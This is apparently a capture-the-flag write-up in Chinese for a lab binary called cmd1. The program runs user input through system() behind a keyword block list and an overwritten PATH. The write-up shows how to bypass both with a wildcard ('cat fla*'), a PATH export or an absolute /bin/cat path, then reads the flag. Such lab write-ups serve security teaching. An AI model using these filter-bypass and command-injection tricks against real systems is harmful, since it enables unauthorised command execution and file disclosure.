環境變數的基本知識

題目原始碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/fuckyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}

可以看到filter()過濾掉argv[1]裡面不能包含的flagshtmp子字串,這部分用萬用字元*就可以繞過限制。

另外在第12行把重要的環境變數PATH給覆寫掉了,這樣如果想要直接呼叫cat把flag印出來會得到以下錯誤:

1
2
cmd1@ubuntu:~$ ./cmd1 "cat fla*"
sh: 1: cat: not found

所以說,在呼叫cat以前我們必須先修改環境變數:

1
2
cmd1@ubuntu:~$ ./cmd1 "export PATH=/bin; cat fla*"
mommy now I get what PATH environment is for :)

或是更簡單的方法,先確認cat的路徑以後使用絕對路徑呼叫即可:

1
2
3
4
cmd1@ubuntu:~$ which cat
/bin/cat
cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
mommy now I get what PATH environment is for :)